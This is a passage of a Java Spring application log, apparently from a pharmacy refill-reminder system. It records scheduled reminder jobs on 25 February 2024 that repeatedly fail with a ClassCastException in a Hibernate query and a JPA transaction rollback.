com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 10:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 10:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 10:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 10:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 10:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 10:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 10:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 10:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 10:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 10:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 10:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 10:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 10:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 10:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 10:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 11:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 11:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 11:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 11:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 11:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 11:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 11:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 11:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 11:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 11:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 11:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 11:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 11:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 11:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 11:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 11:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 11:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 11:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 11:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 11:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 11:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at 